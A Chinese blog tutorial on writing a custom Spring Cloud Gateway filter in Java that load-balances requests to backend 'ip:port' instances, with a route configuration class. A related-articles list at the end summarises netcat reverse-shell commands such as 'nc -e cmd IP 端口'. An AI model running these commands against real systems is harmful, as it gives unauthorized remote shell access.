SpringCloudGateway手动编写路由规则对请求进行转发

简介: SpringCloudGateway手动编写路由规则对请求进行转发这篇文章主要是提供一种转发路由的代码实现方式,之前说的gateway都是使用配置文件来对请求进行路由,这样虽然很简单,但是不够灵活,如果后端对应很多服务实例,网关想要根据自己的规则来转发请求,比如编写不同的负载均衡策略,做一些特别的权重,以及在运行过程中动态的变更转发地址,这些用配置文件来做都不够灵活,没法自由的定义规则。

SpringCloudGateway手动编写路由规则对请求进行转发

这篇文章主要是提供一种转发路由的代码实现方式,之前说的gateway都是使用配置文件来对请求进行路由,这样虽然很简单,但是不够灵活,如果后端对应很多服务实例,网关想要根据自己的规则来转发请求,比如编写不同的负载均衡策略,做一些特别的权重,以及在运行过程中动态的变更转发地址,这些用配置文件来做都不够灵活,没法自由的定义规则。

涉及的gateway版本

<dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter-gateway</artifactId>
            <version>2.1.4.RELEASE</version>
        </dependency>

主要实现过程还是实现GatewayFilter接口,获取到要指定的IP地址与端口,然后组装成URI与Route,最后转发出去

import cn.hutool.core.util.ObjectUtil;
import cn.hutool.core.util.StrUtil;
import com.ecwid.consul.v1.health.model.HealthService;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.cloud.gateway.filter.GatewayFilter;
import org.springframework.cloud.gateway.filter.GatewayFilterChain;
import org.springframework.cloud.gateway.route.Route;
import org.springframework.core.Ordered;
import org.springframework.http.server.reactive.ServerHttpResponse;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.util.UriComponentsBuilder;
import java.net.URI;
import java.util.List;
import java.util.Optional;
import reactor.core.publisher.Mono;
import static org.springframework.cloud.gateway.support.ServerWebExchangeUtils.GATEWAY_ROUTE_ATTR;
/**
 * 转发路由,通过负载均衡对后端服务进行访问
 *
 */
@Slf4j
public class RouteFilter implements GatewayFilter, Ordered {
    @Autowired
    private RedisUtil redisUtil;
    @Autowired
    private LoadBalanceHandler loadBalance;
    @Override
    public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
        ServerHttpResponse response = exchange.getResponse();
        //获取原来的请求路径
        String requestPath = exchange.getAttribute(FilterDict.SYSTEM_REQUEST_PATH);
      //randomSelectInstance方法会获取到一个"ip:port"这样结构的字符串
        String instanceInfo = loadBalance.randomSelectInstance();
        //如果没有服务,则直接返回报错
        if (StrUtil.isEmpty(instanceInfo)) {
            return response.writeWith(Mono.just(GateWayFilterUtils.writeData(exchange, RecoError.GEN_SERVER_BUSY)));
        }
        //用于测试负载均衡算法对IP分配是否均衡
//        redisUtil.zIncrementScore("test:gateway:load:ip",instanceInfo,1);
        //分割地址中IP和端口
        String[] serviceAddress = instanceInfo.split(StrUtil.COLON);
        String requestSchema = exchange.getRequest().getURI().getScheme();
        //拼接URL的数据
        assert ObjectUtil.isNotNull(requestPath);
        URI uri = UriComponentsBuilder.
                newInstance().scheme(requestSchema).
                host(serviceAddress[0].trim()).port(Integer.parseInt(serviceAddress[1].trim()))
                .path(requestPath).query(exchange.getRequest().getURI().getRawQuery()).build(true)
                .toUri();
        //将拼接好的URL装入新的exchange
        ServerWebExchange mutateExchange = exchange.mutate().request(builder -> builder.uri(uri).build()).build();
        Optional<Route> route = Optional.of(exchange.getAttribute(GATEWAY_ROUTE_ATTR));
        Route newRoute = Route.async()
                .asyncPredicate(route.get().getPredicate())
                .filters(route.get().getFilters())
                .id(route.get().getId())
                .order(route.get().getOrder())
                .uri(uri).build();
        mutateExchange.getAttributes().put(GATEWAY_ROUTE_ATTR, newRoute);
        mutateExchange.getAttributes().put(FilterDict.SYSTEM_APP_IP_ADDR, serviceAddress[0]);
        return chain.filter(mutateExchange);
    }
    @Override
    public int getOrder() {
        return FilterDict.SYSTEM_FILTER_ORDER + 4;
    }
}

单独编写路由filter以后,还需要引入才能执行,在全局配置中倒入bean,最后启动就可以执行了

import org.springframework.beans.factory.annotation.Value;
import org.springframework.cloud.gateway.filter.ratelimit.RedisRateLimiter;
import org.springframework.cloud.gateway.route.RouteLocator;
import org.springframework.cloud.gateway.route.builder.RouteLocatorBuilder;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import lombok.extern.slf4j.Slf4j;
import java.time.Duration;
/**
 * 全局过滤器配置加载
 *
 * @author :wcy
 */
@Slf4j
@Configuration
public class GlobalFilterConfigure {
    //用于设置路由的
    @Bean
    public RouteFilter routeFilter(){
        return new RouteFilter();
    }
    /**
     * 将所有自定义的filter加载进来
     */
    @Bean
    public RouteLocator customerRouteLocator(RouteLocatorBuilder builder, RedisRateLimiter redisRateLimiter) {
        return builder.routes()
                .route(r -> r.path(FilterDict.GATEWAY_BASE_INTERCEPT_URL)
                        //将自定义的filter加载进来
                        .filters(f -> f.filters(routeFilter())
                                //请求大小
                                .setRequestSize(requestLimitSize)
                                //请求限流,目前使用请求IP,以后可以扩展使用其他限定组合
//                                .filter(rateLimitByIpGatewayFilter())
                        )
                        .uri("http://127.0.0.1:" + servicePort + "/actuator/health")
                        .order(FilterDict.SYSTEM_FILTER_ORDER)
                        .id(FilterDict.GATEWAY_ROUTE_NAME)
                ).build();
    }
}

本文就是愿天堂没有BUG给大家分享的内容,大家有收获的话可以分享下,想学习更多的话可以到微信公众号里找我,我等你哦。

相关文章
|
Shell Linux Windows
nc简单反弹shell
该内容描述了在Windows和Linux环境中使用`nc`(Netcat)工具建立反弹shell的过程。在Windows上,反弹端通过命令`nc -e cmd IP 端口`将控制权反弹到指定IP;控制端则运行`nc -lvvp 端口`等待连接。在Linux环境下,类似地,使用`nc -l -v -p 端口`作为控制端,而被控端用`nc 目标IP 端口`进行连接。文中还包含相关截图以辅助说明。
622 0
|
7月前
|
人工智能 前端开发 JavaScript
【CodeBuddy】三分钟开发一个实用小功能之:数字华容道拼图
本文通过实现数字华容道游戏,展示codebuddy智能编程助手的强大功能。只需简单描述需求,codebuddy即可生成高质量代码,涵盖HTML、CSS和JavaScript,大幅提升开发效率。其核心功能包括智能代码生成、优化与调试,以及持续学习进化能力。未来,codebuddy有望进一步增强代码可读性、支持更多语言框架,并提升智能化水平,助力开发者专注于设计与创新,开启智能编码新时代。
272 10
【CodeBuddy】三分钟开发一个实用小功能之:数字华容道拼图
|
移动开发 JavaScript 前端开发
HTML5 Audio(音频)详解
HTML5 通过 `&lt;audio&gt;` 标签简化了网页音频嵌入。本文详细介绍其基本语法与常用属性(如 `controls`、`autoplay`),并通过示例代码展示如何使用 JavaScript 控制音频播放及处理音频事件。此外,还提供了关于浏览器兼容性、自适应设计及无障碍访问的注意事项,助您优化音频体验。
|
Web App开发 人工智能 安全
操作系统的未来之路:探索下一代技术革新
随着技术的不断进步,操作系统作为计算机硬件与用户之间的桥梁,其重要性不言而喻。本文将深入浅出地探讨操作系统的发展趋势,从云计算、人工智能到量子计算等领域,展望未来可能的技术突破和应用场景。我们将通过具体实例,了解这些前沿技术如何影响操作系统的设计、安全和应用,以及它们如何塑造我们的数字生活。
494 1
|
数据可视化 Java Apache
Maven Dependency Tree:深入理解你的项目依赖
Maven Dependency Tree:深入理解你的项目依赖
2695 0
文本,wangEditor5的基本使用,开发文档地址,wangEditor5用于Vue3项目,想要使用好wangEditor项目,得看开发文档
文本,wangEditor5的基本使用,开发文档地址,wangEditor5用于Vue3项目,想要使用好wangEditor项目,得看开发文档
|
安全 Java API
SpringCloud Gateway路由转发规则
`Spring`在因`Netflix`开源流产事件后,在不断的更换`Netflix`相关的组件,比如:`Eureka`、`Zuul`、`Feign`、`Ribbon`等,`Zuul`的替代产品就是`SpringCloud Gateway`,这是`Spring`团队研发的网关组件,可以实现限流、安全认证、支持长连接等新特性。
SpringCloud Gateway路由转发规则
|
数据采集 监控 NoSQL
MongoDB 正则表达式详解:高效数据查询与处理技巧
MongoDB 正则表达式详解:高效数据查询与处理技巧
511 0
|
Prometheus Cloud Native Java
Spring GateWay : 网关的转发细节
请求转发是 Gateway 最核心的功能之一 , 它涉及到三个主要的概念 : Route(路由): 路由是网关的基本单元,由ID、URI、一组Predicate、一组Filter组成,如果 Predicate 匹配 True ,则进行转发 Predicate(谓语、断言): 路由转发的判断条件,这是一个 Java 8函数断言, 输入类型是 Spring Framework ServerWebExchange , 目前SpringCloud Gateway支持多种方式,常见如:Path、Query、Method、Header等,写法必须遵循 key=vlue的形式
|
存储 消息中间件 缓存
本地缓存之王,Caffeine保姆级教程
本地缓存之王,Caffeine保姆级教程
10474 1